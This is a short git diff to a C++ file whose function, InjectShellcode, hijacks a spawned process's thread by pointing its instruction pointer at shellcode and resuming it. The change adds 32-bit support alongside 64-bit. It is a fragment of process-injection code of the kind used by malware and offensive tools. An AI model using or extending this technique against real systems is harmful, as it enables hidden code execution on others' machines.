diff --git a/module/Functions.cpp b/module/Functions.cpp index 9b69f28..cab77c5 100644 --- a/module/Functions.cpp +++ b/module/Functions.cpp @@ -108,7 +108,11 @@ VOID InjectShellcode(OUT LPVOID lpOutputData, IN LPVOID lpInputData) { GetThreadContext(pi.hThread, &ctx); +#ifdef _WIN64 ctx.Rip = (DWORD64)lpShellcode; +#else + ctx.Eip = (DWORD32)lpShellcode; +#endif SetThreadContext(pi.hThread, &ctx); ResumeThread(pi.hThread);